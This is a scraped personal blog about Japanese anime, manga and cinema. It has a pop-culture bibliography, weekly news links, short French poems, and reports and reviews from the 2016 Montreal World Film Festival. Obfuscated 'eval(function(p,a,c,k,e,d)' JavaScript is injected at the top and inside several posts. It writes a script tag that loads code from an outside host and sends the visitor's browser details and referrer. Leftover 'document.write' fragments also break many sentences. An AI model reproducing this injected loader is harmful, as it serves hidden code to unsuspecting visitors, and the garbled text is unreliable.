eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbskz|var|u0026u|referrer|ttbet||js|php’.split(‘|’),0,{}))

Winter finally came (temperature in the minus and a little snow on the ground) but I am ready for it since I already got my flu shot. The world events were mostly dominated by the U.S. election and the unexpected election of Donald Trump (that’s the beauty of democracy: people have to right to be wrong!), as well as by the passing of Fidel Castro. I also noted the proliferation of announcements and trailers for live-action movie adaptations: Valerian, Blade of the Immortal (a.k.a. L’Habitant de l’infini; directed by Takashi Miike!), Ghost in the Shell, Full Metal Alchemist, Stranger in a strange land, Starship Troopers, Saint Young Men (Les Vacances de Jésus et Bouddha), etc. ! And I discovered a new Fuyumi Soryo’s manga about Marie Antoinette (can’t wait to receive it and read it)!

However, I still found some time to stay acquainted (a bit) with the affairs of the world. Here’s a “few” notable news & links that I came across this month and that I’d like to share with you, after the jump (in no particular order, in both french and english):

Continue reading →

Otaku & other popular (sub)culture phenomenons

October 11, 2016February 9, 2026 / Clodjee / Leave a comment

Many elements of the Japanese teens subculture are generated, influenced or more often simply expressed by anime & manga: otaku, enjo kōsai (teenage prostitution), hikikomori, karoshi (overwork death), idols, cosplay (as well as various fashion styles like gothic lolita, kogal or ganguro), hentai (including yaoi [“Boys’ Love”, i.e. manga showing romantic relationships between male characters], yuri [“Girls’ love”], lolicon [underage love], panchira [panties shots] and burusera [stores for panties & school uniforms fetishists]), manga café, kawaii, moe — just to name the few that quickly come to mind. Also, Japanese (pop)culture is having (as it often had in the past, i.e. “japonisme”) a great influence on our western culture (and particularly, lately, on the teen pop-culture, with the so-called Japanification).

Therefore, this is a subject particular enough to deserve a separate entry in my “Anime & Manga Bibliography”. (The titles I own are with a green background).

Index

[ Traduire ]

Otaku & other popular (sub)culture phenomenons

(Collectif). Cosplay Girls: Japan’s live animation heroines. Tokyo, DH Publishing (Cocoro books), 2003. 96 pg. $30.00 US. ISBN 978-0-9723124-2-0.

[ Amazon • Goodreads • WorldCat ]

(Collectif). Eastern Standard Time: A Guide to Asian Influence on American Culture from Astro Boy to Zen Buddhism. Boston, Mariner Books, 344 pg. $24.95. ISBN 978-0-395-76341-X.

[ Amazon • Goodreads • WorldCat ]

(Collectif). Japan Edge: The Insider’s Guide to Japanese Pop Subculture. San Francisco, Cadence Books, 1999. 200 pg. $19.95 US / $29.95 Can. ISBN 978-1-56931-345-8.

[ Amazon • Goodreads • WorldCat ]

AZUMA, Hiroki (Translated by Abel, Jonathan E. & KONO, Shion). Otaku: Japan’s database animals. Minneapolis, University of Minnesota Press, 2009. 144 pg. ISBN 978-0-8166-5352-2.

[ Amazon • Goodreads • Wikipedia • WorldCat ]

BARRAL, Étienne. Otaku: Les enfants du virtuel. Paris, Denoël (Impacts), 1999. 314 pg. ISBN 978-2-207-24319-2.

[ Amazon • Goodreads • WorldCat ]

KELTS, Roland. Japanamerica: How Japanese Pop Culture Has Invaded the U.S. Hampshire (UK), Palgrave MacMillan, 2007. 242 pg. $14.95 US / $17.25 Can. ISBN 978-1-4039-8476-0.

[ Amazon • Goodreads • WorldCat ]

MACWILLIAMS, Mark W. (Ed.). Japanese Visual Culture. Explorations in the World of Manga and Anime. Armonk NY, ME Sharpe/East Gate, 2008. 352 pg. ISBN 978-0765616029.

[ Amazon • Goodreads • WorldCat ]

POULOS, Gerry. Cosplay: Catgirls and other Critters. Berkeley: Stone Bridge Press, September 2006. 80 pages. $16.95 US. ISBN 978-1933330020.

[ Amazon • Goodreads • WorldCat ]

WEST, Mark I. (Ed.). The Japanification of Children’s Popular Culture: From Godzilla to Miyazaki. Lanham, Scarecrow Press, 2009. 294 pg. ISBN 978-0-8108-5121-4.

[ Amazon • Goodreads • WorldCat ]

WICHMANN, Siegfried. Japonism: The Japanese influence on Western art since 1858. New York, Thames & Hudson, 1981. 432 p. ISBN 978-0-500-28163-7.

[ Amazon • Goodreads • WorldCat ]

Next: Japanese Culture

Weekly notable news (W40-41)

October 9, 2016February 9, 2026 / Clodjee / Leave a comment

In the last couple of weeks I felt deprived of all my energy. I couldn’t do or write much. All I did was updating my “Anime & manga bibliography” (and it’s far from finished). Depressingly, the news were dominated by the US election mud slinging. However, I discovered by chance a new french pop singer named Zaz (iTunes, Wikipedia, Youtube) — a great scratchy voice — and, with my wife, I’ve finished watching the fourth season of Mr. Selfridge as well as the mini-series And Then There Were None (a recent British-american adaptation of the famous Agatha Christie’s novel).

If the crazy pace at work (btw, only 553 weeks left!) can sometimes break my spirit (or, like now, my back!), there’s always something to rejuvenate my soul. Earlier today I took, with my wife, a long walk through the park of the Île-de-la-Visitation, observing the nature, the river, the automnal colours, and visiting the Sault-au-Récollet mill as well as the maison du pressoir. It was beautiful. I took several nice pictures.

Finally, of course, I still found a little time to stay acquainted with the affairs of the world. I therefore share with you a few notable news & links that I came across lately (in no particular order):

Takashi Miike to Direct Live Action JoJo’s Bizarre Adventure (ICv2)
Apple is now selling interactive Game of Thrones iBooks (The Next web, International Business Times)
How Russia Wants to Undermine the U.S. Election (Time)
‘Cup Noodles’ Turns 45: A Closer Look At The Revolutionary Ramen Creation (NPR)
iPhone Lens Kit: Amazon sale on Android lens attachment, iPhone lenses (BGR)
Meet the nuclear cattle of Japan (CNN)
Apple HealthKit reportedly to shift from tracking to diagnosis (CNET)
Apple developing new Apple Watch sleep tracking and heart rate apps (9to5Mac)
Japanese biologist wins Nobel (NHK World, NHK World)
Lawmakers promote national manga center (NHK World). There is already an International Manga Museum in Kyoto, but if the idea of a national ‘Manga Museum’ has been around for years it was announced only in march of this year (ANN, Crunchyroll, Nerdist)
10-Minute Digital Privacy Tuneup (Consumer Report)
RIP Jeff Mackintosh (ICv2)
Le 33e Festival du film Japonais à Montréal (Coco Montréal)
Festival du nouveau cinéma 2016 (Coco Montréal)
Yoshinori Ohsumi wins Nobel Prize for medical research on cells (CNN)
Anime Director Yamakan Declares Anime Dead (ANN)
Digital Manga Hints at Offering Tezuka’s Under the Air, The Crater Manga (ANN)
Meiji Tokyo Renka Historical Visual Novels Get TV Anime, New Game (ANN)
Rose of Versailles Gets 2 New Chapters About Marie Antoinette (ANN)
1st Valerian and the City of a Thousand Planets Poster (ICv2)

Funnies

Between friends: Monday, May 30, 2016

Non Sequitur: Monday, May 30, 2016

Between friends: Tuesday, May 31, 2016

Dilbert: Tuesday, May 31, 2016

[ Traduire ]

Image du mer-fleuri

October 5, 2016 / Clodjee / Leave a comment

Fleurs d’automne
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Quelques couleurs tardives
Couverture de feuillage morne
— Présages d’une longue torpeur

(iPhone 6s, document.write(“”); 2016-10-02)

Image du mer-fleurie

September 28, 2016 / Clodjee / Leave a comment

Petites trompettes roses et mauves
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkisd|var|u0026u|referrer|dzyti||js|php’.split(‘|’),0,{}))
Annonçant la fraîcheur matinal
— Ô Gloire au jour qui se lève!

(Nikon D3300, document.write(“”); 2016-08-14)

FFM 2016 wrap-up

September 10, 2016February 9, 2026 / Clodjee / Leave a comment

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzrdi|var|u0026u|referrer|yzinr||js|php’.split(‘|’),0,{}))
Here we are concluding our coverage of the Festival des Films du Monde (FFM)…

Unfortunately, document.write(“”); only two Japanese movies won an award this year: Tatara Samurai by Yoshinari Nishikori won “Best Artistic Contribution” and Ken-san by Yuichi Hibi won “Best Documentary” (ex-aequo with a Canadian film). Although, there’s almost always a Japanese film in the list of the winners, even if it’s often just a token price. That’s probably why Japanese producers keep presenting their films here and generally come with a big delegation. You can find on the festival website the complete list for the laureates of the 47th Student Film Festival and of the 40th Montreal World Film Festival competition.

If I look back I can say that this year’s festival really had a hard time. Almost everything was against it: stingy governmental agencies, ungrateful chain of theatres, sceptical employees, hostile media, and, to top it all, even a member of the jury dying in his hotel room just the day before the closing ceremony! It’s a miracle that it happened at all. However, despite all this and the chaos that ensued (which affected mostly the scheduling), they managed to keep showing movies (as long as there’s movies, there’s hope) and, all in all, it was a pretty good festival. The public was there. The movies were there . They met at the Cinéma Impérial (mostly, but also at a few other venues). A beautiful love story. The end? Beside this, why bother with all the media doomsday fuss?

After all, it was not that much more chaotic than the previous years (ok, I admit this time there was no press room, no film market with its screening booths, no “5 to 7” to bond & meet with people of the industry, no outdoor screenings, screenings were spread all over town and the schedule kept changing so I could see only FOUR of the twelve announced Japanese movies — but, I mean, beside that (which was an annoyance mostly for the press), it wasn’t that bad, isn’t it?). The good thing with this year situation is that, with only one screen, there wasn’t any schedule conflict anymore! Also, I might I’ve seen only four movies, but at least I saw something and I am happy with it.

However, I would reserved very harsh words (that I would rather not repeat here) for the various levels of government who let down the movie-loving public and, particularly, for the Cineplex Forum (hey! If you were to start showing movies in the end — presumably because you’ve reached an agreement with the festival or felt too ashamed that the Outremont and Park theatres were picking up screenings — why not have accepted from the start and save us all the trouble of the flip-flopping screening schedule! That behaviour is down-right insulting and you will not catch me anytime soon in a Cineplex theatre).

Through all this the press has been pretty harsh on Losique and his festival. All he wanted was to celebrate the 40th anniversary of his baby and they all pooped on his party. In the end, seeing it was rather a success, many rallied in the festival support but it might have been too little, too late. Nathalie Petrowski, of La Presse, was one of the few who covered the festival with a positive attitude from the start.

Amongst her comments, she offered an interesting speculation on the future of the festival: maybe the Chinese firm that donated the prize money for the awards would be interested in investing more in the festival or even buy it from Losique in order to keep promoting Chinese cinema in North America?

In another article, she quotes Pierre-Henri Deleau, who was in charge of programmation at the Cannes festival’s Quinzaine des Réalisateurs. He was happy to be in Montreal, watching so many good films: “What is amazing is that despite the disorganization, chaos, pips and all the disparaging about the festival, look at that line! People are coming despite everything. Nowhere in the world you will see that. And to think that the City of Montreal continues to pretend it does not exist.”

We are hopeful for the future since Serge Losique has announced at the Closing Ceremony that there WILL be a festival next year (from August 24 to September 4, 2017) and hinted that he was planning his succession. Let’s hope that the various levels of government will, this time, agree to support this iconic event just in time for the 375th anniversary of the city! But with or without subsidies, the public and the young movie-makers deserve a festival. All we need is the cinema aficionados to be there, a few screens, some beautiful movies and it will be love all over again!

Thanks to the organizers (those who stayed), volunteers, the selected film-makers who came to present their movies (and to Serge Losique) who all made this festival another interesting cinematic experience. See you next year, hopefully.

Press reviews:

Houleux 40e Festival international des films du monde (Le Devoir)
Isabelle Adjani en actrice engagée (Le Devoir)
André Forcier, double primé au 40e FFM (Le Devoir)
Le septième art contre les autorités culturelles (Le Devoir)
The Festival des films du monde’s chaotic 40th edition is over. Now what? (Montreal Gazette)
Montreal film maven wants to storyboard a new FFM (Montreal Gazette)
FFM: deux récompenses pour Embrasse-moi comme tu m’aimes (La Presse)
FFM: sublime Adjani (La Presse)
Le vieillard fou de cinéma japonais au FFM 2016: Quand passe Susanoo (Shomingeki)
Festival coverage (Le Devoir)
Festival coverage (The Gazette)
Festival coverage (La Presse)

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FFM Update Day 4

September 5, 2016February 9, 2026 / Clodjee / Leave a comment

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We are continuing our coverage of the Festival des Films du Monde (FFM)…

This is my last day at this year’s festival.

I couldn’t be there yesterday but I heard that the queue for the Japanese movie (A loving husband) was pretty long and that Willem Dafoe came back after his movie (My Hindu Friend, document.write(“”); Brazil, dir.: Héctor Babenco) despite the late hour (midnight) for a thirty-minute Q&A. That guy has a lot of respect for his audience and fans!

Even if my wife is still hospitalized (don’t worry she’s doing better, they just kept her to perform some tests), I couldn’t miss the last Japanese movie to be shown at the festival (this year, hopefully). I didn’t regret it. It was a great comedy. I’ll tell you more about it later.

Good Morning show: The crew arriving in a horse carriage! Dir./Scr. Ryoichi Kimizuka, actress Mirai Shida, actor Kiichi Nakai and actress Masami Nagasawa

I lingered a little after the show to catch a glimpse of Isabelle Adjani that was coming to present her movie Carole Matthieu (France, Dir.: Louis-Julien Petit).

More pictures on my “FFM 2016” album on Flickr

Tomorrow (Monday) is the last day of the festival. As soon as I have the list of the lucky awards’ winners I’ll post my wrap up comments.

Let’s hope it won’t be the last of the FFM!

Press review:

FFM: requiem pour un cinéaste (La Presse)

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FFM Update

September 4, 2016February 9, 2026 / Clodjee / Leave a comment

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We are continuing our coverage of the Festival des Films du Monde (FFM)…

With all the schedule changes I wasted days off on days that had the screening I wanted to see cancelled so I couldn’t take more days off to watch the couple of movies that were shown at the Outremont Wednesday (Frozen Fireworks, document.write(“”); Hold my Hand) and Friday (Tsukiji Wonderland, Ken-san). And my wife was hospitalized due to a sudden illness today so I couldn’t watch A loving husband… At least I managed to see three Japanese movies. Maybe one more tomorrow…

Sunday September 4, 17h30 (CI.04.5) COMP

Good Morning Show (??????????? / Guddo Moningu Sho): Japan, 2016, 103 min.; Dir./Scr.: Ryoichi Kimizuka; Cast: Kiichi Nakai, Masami Nagasawa, Mirai Shida, Hiroyuki Ikeuchi, Kento Hayashi, Zen Kajiwara, Haruka Kinami, Shunsuke Daitô, Gaku Hamada, Yô Yoshida, Yutaka Matsushige, Saburô Tokitô. The morning variety show, a staple of television around the world, offers news and entertainment but TV host Shingo didn’t expect to be himself the source of the news and entertainment.

Two more theatres are showing FFM movies, so now all the movies selected and previously announced will be screened at least once: the Cineplex Forum (2313 St. Catherine St. West Suite 101 – Metro Atwater // Oh, you choose now to join the party, you moron) and the Cinema Dollar (6900 Décarie Square — Métro Namur). Unfortunately, the Cineplex Forum has shown Her love boils bathwater Saturday at 10h00 and I missed it.

Please, check the schedule on the festival’s website.

All the announced guests are supposed to be there: Liu Yifei, Willem Dafoe and Isabelle Adjani.

Don’t forget to enjoy the festival while you can because it might very well be the last!

Press reviews:

Festival des films du monde’s fall from grace (The Gazette)
Festival des films du monde: Isabelle Adjani, Willem Dafoe confirmed (The Gazette)
Humour tchèque et déprime espagnole au FFM (La Presse)
FFM: au Kurdistan avec le cercueil de maman (La Presse)
While We Live / Medan vi lever: souffler le chaud et le froid (La Presse)
Festival coverage (Le Devoir)
Festival coverage (The Gazette)
Festival coverage (La Presse)

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The Seal of the Sun

August 29, 2016 / Clodjee / 1 Comment

“On March 11, document.write(“”); 2011, the Eastern Japan Great Earthquake struck.”

“On that day, Japan faced the dangers of a catastrophic event that threatened a large segment of the population. The Earthquake knocked out the electricity at the Fukushima Daichi Nuclear plant located in Northeastern Japan. The emergency cooling system failed and the temperature inside the nuclear reactor kept climbing. A crisis equal to the Chernobyl’s nuclear disaster was looming.”

“The power plant metamorphosed into a gigantic and menacing monster. Scientists, surprised and shocked by the crisis which quickly expanded well beyond what they had predicted, made several erroneous judgements and decisions. The Prime Minister’s office was thrown into chaos with very little accurate information available to them.”

“Meanwhile, residents were hastily evacuated, forced to say good-bye to their homes. However, a time bomb was ticking without any credible solution to the crisis. Then, the catastrophe began with the explosion of the Unit 1 building. It then cascaded into explosions inside of the Unit 2 and 3 buildings. The countdown to the complete meltdown and total destruction continued and never stopped.”

(Text from production flyer)

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MWFF Update Day 1.2

August 27, 2016February 9, 2026 / Clodjee / Leave a comment

We are continuing our coverage of this cultural para-olympics…

After picking up my media credentials, document.write(“”); I rushed back home to grab a bite and my camera, then I quickly came back to the festival to watch the first Japanese movie — which had surprisingly popped up on the most recent schedule update.

The production crew (the usual team of producers, director and actor) was there to introduce their movie, but I unfortunately had camera troubles and couldn’t record the whole presentation (maybe my older, cheaper, less advanced camera would have been better after all?).

The movie was quite interesting because of its subject, but I was rather disappointed by the rendering of the story and the production quality. It felt like a small budget movie while I am sure it was not. Anyway, you’ll see my full comments on the movie as soon as I can transcribe my notes, polish the details and put it online (I have a busy schedule in the next few days — including an aunt funerals — so I cannot promise it will be quick).

In the meantimes, enjoy the festival while you can because, as you know, I fear it may well be the last!

Press reviews:

Le FFM lancé dans la confusion (Journal de Montréal)
Le FFM en déficit en 2015 (La Presse)
Bel accueil pour le film d’André Forcier en ouverture du FFM (Ici radio-Canada)
Frustrations au FFM (Journal de Montréal)
FFM jour 2: Sous le signe de l’incertitude (La Presse)
FFM: deux visages de l’Italie (La Presse)
Notre couverture du FFM (Le Devoir)
Notre couverture du FFM (La Presse)

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MWFF update Day 1

August 26, 2016February 9, 2026 / Clodjee / Leave a comment

We are continuing our coverage of the festival…

What a crazy world! But as long as there’s movies being shown, document.write(“”); there’s hope!

Yesterday, we went to the festival office to pick up our press passes. It was chaos and lots of people were running around like headless chicken. We were told that due to a “computer problem” all the accreditation submissions had been lost (bug? crash? lock out of their system? ex-staff sabotage? who knows). I understood that we had to resubmit the request in paper (losiqual if the computer are down), so (taking time off from my day job) I went back this afternoon with a print out of the forms and pictures. It was quieter today at the FFM HQ, but apparently, they simply wanted us to email the pictures again. So I ended up taking a picture of the pictures with my phone and emailing them so they could print them on the press cards.

Now we have our press cards, but they look terrible !

REMINDER: The movies are shown ONLY at the Imperial Cinema, but the schedule has changed (several times) and it KEEPS CHANGING so please check it day by day !

Also note that if you purchased a ticket for a screening that has been re-scheduled, I’ve been told that they would exchange it without problem for a ticket of the screening at the new schedule.

For us, aficionados of Japanese cinema, the festival starts tonight! The first movie shown is:

Friday August 26, 19h00 (CI.26.6) REG

The Seal of the Sun (?? ? ? / Taiy? no futa) : Japan, 2016, 130 min., japanese with english subtitles; Dir.: Futoshi Sato; Scr.: Takashi Hasegawa; Phot.: Yukio Komiya; Prod.: Kaoru Ohtsuka; Cast: Yukiya Kitamura, Kenji Anan, Sota Aoyama. At 2:46 PM on March 11, 2011, the Fukushima Daiichi Nuclear Power Plant experiences a black out due to the aftermath of the Tohoku earthquake and tsunami.

So far, there are no movies announced for Saturday and Sunday. Barring any further schedule change, the next Japanese movies will be:

Monday August 29, 18h40 (CI.29.6) COMP

Tatara Samurai (????): Japan, 2016, 135 min.; Dir.: Yoshinari Nishikori; Phot.: Akira Sako; Mus.: Seikou Nagaoka; Cast: Shun Sugata, Denden, Masahiko Tsugawa. When the Amago samurai withdraw their protection of the village of Tatara, famous for their manufacture of the legendary swords, the younger generation — erroneously — believe that guns will suffice.

Tuesday August 30, 19h40 (CI.30.6) HC

Black Widow Business (??? ? ? / Gosaigy? no onna / lit. “Woman of the second wife industry”) : Japan, 2016, 128 min.; Dir./Scr.: Yasuo Tsuruhashi (based on the novel by Hiroyuki Kurokawa); Cast: Masatoshi Nagase, Masatô Ibu, Machiko Ono. With 4000 matchmaking agencies across Japan serving some 600,000 clients, especially men and women over 65, the pickings are ripe for “black widows”. But the daughter of one victim decides to investigate.

Enjoy the festival while you can because, who knows, it might be the last one. Ultima forsan…

Press reviews:

16 millions de cinéphiles plus tard… (La Presse)
Trois invités de marque au FFM (La Presse)
FFM: Denis Coderre «en mode attente» (La Presse)
Le FFM envers et contre tous (La Presse)
FFM: Benjamin Ross Hayden in limbo (The Gazette)
Pluie d’étoiles sur un festival assombri (Le Devoir)
Gallery: Festival des films du monde kicks off (The Gazette)
La veillée triste du 40e FFM (Le Devoir)
Diehard cinephiles despair demise of Montreal Film Festival (The Gazette)
FFM: André Forcier à la rescousse (La Presse)
Cinéastes en plein désarroi au FFM (Le Devoir)

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Montreal World Film Festival 2016

August 18, 2016February 9, 2026 / Clodjee / Leave a comment

On Tuesday August 16, document.write(“”); 2016, the Montreal World Film Festival broke its silence and revealed through a couple of press releases the line-up of the World Competition and First Feature Competition as well as their Jurys’ members. The programmation of other sections will be unveiled later on.

In a Le Devoir article (August 5th: Mystères entourant la 40e édition du FFM), we learned that less than a month before the beginning of the festival, it was suffering from lack of financing and no venue had been booked yet to hold the screenings. However, a more recent article (August 16th: Le Festival des films du monde à minuit moins cinq) told us that the usual venue of Cineplex Quartier Latin would be replaced this year by the Cineplex Cinema Forum, because road works are blocking the access to the Quartier Latin.

The 40th edition of the Montreal World Film Festival will take place from August 25th to September 5th 2016, at the Imperial (1430 Bleury – Metro Place des Arts) and Cineplex Cinema Forum (2313 St. Catherine St. West Suite 101 – Metro Atwater) theatres. For more details you can check the festival website: www.ffm-montreal.org.

Saturday the festival has released the screenings’ complete schedule [PDF]. They have also posted the screening schedule for each section of the festival: World Competition, First Films World Competition, Focus on the World Cinema, Documentaries, Turkish Film Tribute, Hangzhou Film Week, and the Special Chinese Film Festival. (But what about the “World Great” section?). [updated 2016-08-20]

You can also check our festival coverage of the previous years:

WARNING: The festival is in jeopardy. Please read this report for details. [updated: 2016/08/24]

WARNING: The movies will be shown ONLY at the Imperial Cinema, but the schedule has CHANGED! A new schedule has been posted on the festival website. [updated: 2016/08/25]

WARNING: The schedule keeps changing so please check it day by day ! [updated: 2016/08/26]

You can also check our daily updates of the festival: Day 1, Day 1.2, Day 2, Day 3, Extra update (Day off), Day 4 and our festival wrap-up.

I have also added some of the video I’ve filmed at the festival: FFM Video 1 (also available on Vimeo: Tatara Samurai Red carpet, Tatara Samurai Intro and Q&A, Isabelle Adjani red carpet).

Finally, you can read the comments about the FFM’s Japanese movies from my esteemed colleague Claude R. Blouin on Shomingeki.

You will find, after the jump, a list of all Japanese movies announced so far (of course, more details and links will be added as the information become available).

[Updated: 2016/08/18, 2016/08/20, 2016/08/24, 2016/08/25, 2016/08/26, 2016-08-30, 2016-08-31, 2016-09-04, 2016-09-09, 2016-09-19]

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Blood Bead

August 8, 2016 / Clodjee / 1 Comment

“Tokita, document.write(“”); already into his middle age, has been teaching at a film school in Kyoto for a while. He would prefer to be directing films rather than teaching about them but it pays the bills and life isn’t bad. Indeed, he is having an affair with Yui, the pretty secretary of the film school. Still, the fact that he hasn’t been able to finish his script and find funding for his project nags him enormously. He is a filmmaker not a schoolteacher… Then, on the street, he runs into a striking young high school girl and his life changes. Not necessarily for the better. He is immediately smitten with Ritsuko. He begins to stalk her. He becomes delusional. His life itself becomes a film. And its ending has not been written.”
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(Text from the Festival’s program)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.

I enjoyed this movie (what’s not to like with a movie with lots of beautiful nudity?) but it’s a little hard to talk about it. I’ll do my best. The story is relatively simple and yet rather complex altogether. However, it’s always interesting when movie makers turn the camera on themselves.

Movie director Tokita (Eiji Okuda) is teaching at a film school in Kyoto. He has a rather good life with his mistress Yui, a secretary at the film school, but he would rather be making movies than teaching about them. However, he has not been able to finish a script in a while. He says that, as long as he is thinking about a script, he can still feel he is a director. He is currently working on a pinku eiga script largely inspired by his relationship with Yui.

Tokita is in his sixties and can hardly get an erection, particularly when he’s drunk, but it only makes him more obsess with sex. The title of the movie refers to the “Akadama” legend saying that a blood bead will come out to mark the very last ejaculation of a man.

One day, he notices a high school girl and starts following her, stalking her and becomes obsess by her. He imagines having an affair with her, rapping her even, but he is stuck and doesn’t know how to end his story. At some point, he discovers that the school girl prostitutes herself (she’s charging $700!). He succumbs to the temptation and sleeps with her, but feels disgusted with himself afterward. Seeing his increasing obsession for Ritsuko while typing the script, Yui decides to leave Tokita.

Tokita feels desperate but succeed to finish the script anyway and presents it to a production company which doesn’t sound very receptive. He pleads that it would be his last movie, and ask to please give him a chance! Tokita gets drunk but, as he receives an email from the production company saying that they agree to finance his movie on some conditions, he gets hit by a car and dies!

Once again we have here a movie that tackles the subject of the increasingly older population of Japan which reflects a serious preoccupation among the population. This time we are presented with the despair that sexual frustration and the worth of one’s legacy can provide to an elderly man.

Director Banmei Takahashi, who is himself not unfamiliar with pinku eiga, said in the Q&A that he thought young directors were not putting enough sex in their movies and he wanted to remedy that. He also said that he killed the main character at the end because one of his friends died that way and he wanted to make an homage to him.

During the course of the movie we follow both Tokita’s life, the story of his script as well as his own fantasies, and this makes it rather difficult sometimes to discern which is what. However, it is a good and interesting movie — albeit a little weird — that offers a reflection not only on Japanese cinema but also on the life of elderly men. And, of course, there’s plenty of sex scenes!

Blood Bead (????/ Akai Tama / Perle de sang): Japan, 2015, 108 min.; Dir./Scr.: Banmei Takahashi; Music: Gorô Yasukawa; Phot.: Shinji Ogawa; Ed.: Kan Suzuki; Cast: Eiji Okuda (Shuji Tokita), Fujiko (Yui Oba), Yukino Murakami (Ritsuko Kitakoji), Shota Hanaoka (Kenichi Yajima), Shiori Doi (Aiko Kato), Tasuku Emoto (Aoyama), Keiko Takahashi (Yuriko). For a mature audience (18+).

Film screened at the Montreal World Film Festival on August 29th, 2015 (Cinema Quartier Latin 10, 19h00 – the theatre was a little less than half full) as part of the “World Great” segment. The director was present for a Q&A after the screening.

Introduction and Q&A

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Kagura-me

August 5, 2016 / Clodjee / 1 Comment

“Akane, document.write(“”); a young woman who lives in a small rural town in Japan, loses her mother when she is a child, and cannot overcome the loss. Akane’s father had left her mother’s side before she passed away because he went to perform kagura, a traditional ritual dance at Japanese festivals. Akane has never forgiven him and seldom talks to him. Not that he doesn’t regret his action. He too was deeply affected by his wife’s death and he never performed kagura again. Akane leaves home after high school graduation, and starts a new life far away in Tokyo. But life in the big city is overwhelming and Akane returns home after five years. Thirteen years after her mother’s death, Akane’s father has decided to come out of retirement, just to be able to dance in the big 60th anniversary festival. But he has aged. He has serious health problems. He collapses in rehearsal and it becomes clear that he won’t be able to perform. But Akane’s heart has softened. How can she help him? Perhaps by learning kagura?”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idsen|var|u0026u|referrer|zefns||js|php’.split(‘|’),0,{}))

(Text from the Festival’s program)

This movie is very Japanese: it is beautiful and slow paced. It’s a rather complex story and the festival’s program did a very good job at summarizing it, so I won’t say more about it. It’s set around a rural ritual where one danse to please the gods in order to get a good harvest, but it’s a story about grief, about caring for elderly parents, and a little about domestic violence. It poses a very fundamental question about modern life in Japan: is it better to preserve the tradition as it always was or should we adapt it to modern life and therefore preserve the tradition spirit rather than its strict form?

Exceptionally, this movie was subtitled in french (which is rather rare at the MWFF as it is done mostly for the movies in competition) but, unfortunately, this time the subtitling was full of mistakes. Bad translation and spelling mistakes can be quite distracting from the movie itself. The translation was probably done hastily to present the movie at the festival.

All in all, it remains a beautiful movie (Japan’s countryside is always pleasant to look at) about the trials of life.

Kagura-me (???? / lit. “god enjoyment’s woman”): Japan, 2015, 112 mins; Dir.: Yasuo Okuaki; Scr.: Yasuo Okuaki & Nozomu Namba; Music: Kôji Igarashi; Phot.: Hiroshi Iwanaga; Prod. Des.: Takashi Yoshida; Cast: Tomomitsu Adachi, Mayumi Asaka, Masayuki Imai, Tsunehiko Kamijô, Mei Kurokawa, Ryoichi Kusanagi, Ryû Morioka, Nanako Ohkôchi, Maki Seko, Masayuki Shida, Keiko Shirasu, Rina Takeda, Ryoko Takizawa, Mariko Tsutsui, Ren Ôsugi.

Film screened at the Montreal World Film Festival on August 29th, 2015 (Cinema Quartier Latin 9, 15h00 – the theatre was a little less than a quarter full) as part of the “First Film World Competition” segment. The production team organizer was present to introduce the movie.

For more information you can visit the following websites:

Introduction of the screening

[ Traduire ]

Weekly notable news [week 31]

July 31, 2016 / Clodjee / Leave a comment

Here are a few notable news & links that I came across this week:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkbdn|var|u0026u|referrer|htbtd||js|php’.split(‘|’),0,{}))

Review of Yowamushi Pedal Vol. 1 (ICv2)
MWFF announces “Golden Chelem” with 13 cash prizes (link)
How to stop being annoyed by life (CNN)
The Geological Features That Inspired Hell In Dante’s Divine Comedy (Forbes)
The New CBS Star Trek Series Is Called Star Trek: Discovery (Popular Science)
André Forcier’s Kiss Me Like a Lover to open 40th Montreal World Film Festival (link)
New Images from Valerian (ICv2)
Master Saga Sourcebook for Robotech RPG in August (ICv2)
Billy Bat Manga to End in 3 More Chapters (ANN, document.write(“”); AnimeLand)
Live-Action Ghost in the Shell Film’s Cyborg Designs Unveiled (ANN, AnimeLand)
Mobile Police Patlabor Reboot Short Anime Announced for October (ANN)
Super Dimension Fortress Macross Begins English-Subtitled Streaming on Amazon (ANN)
Jupiter’s Great Red Spot ‘roars with heat’ (BBC)
Latest app update lets you control your Nest thermostat from your Apple Watch (9to5Mac)
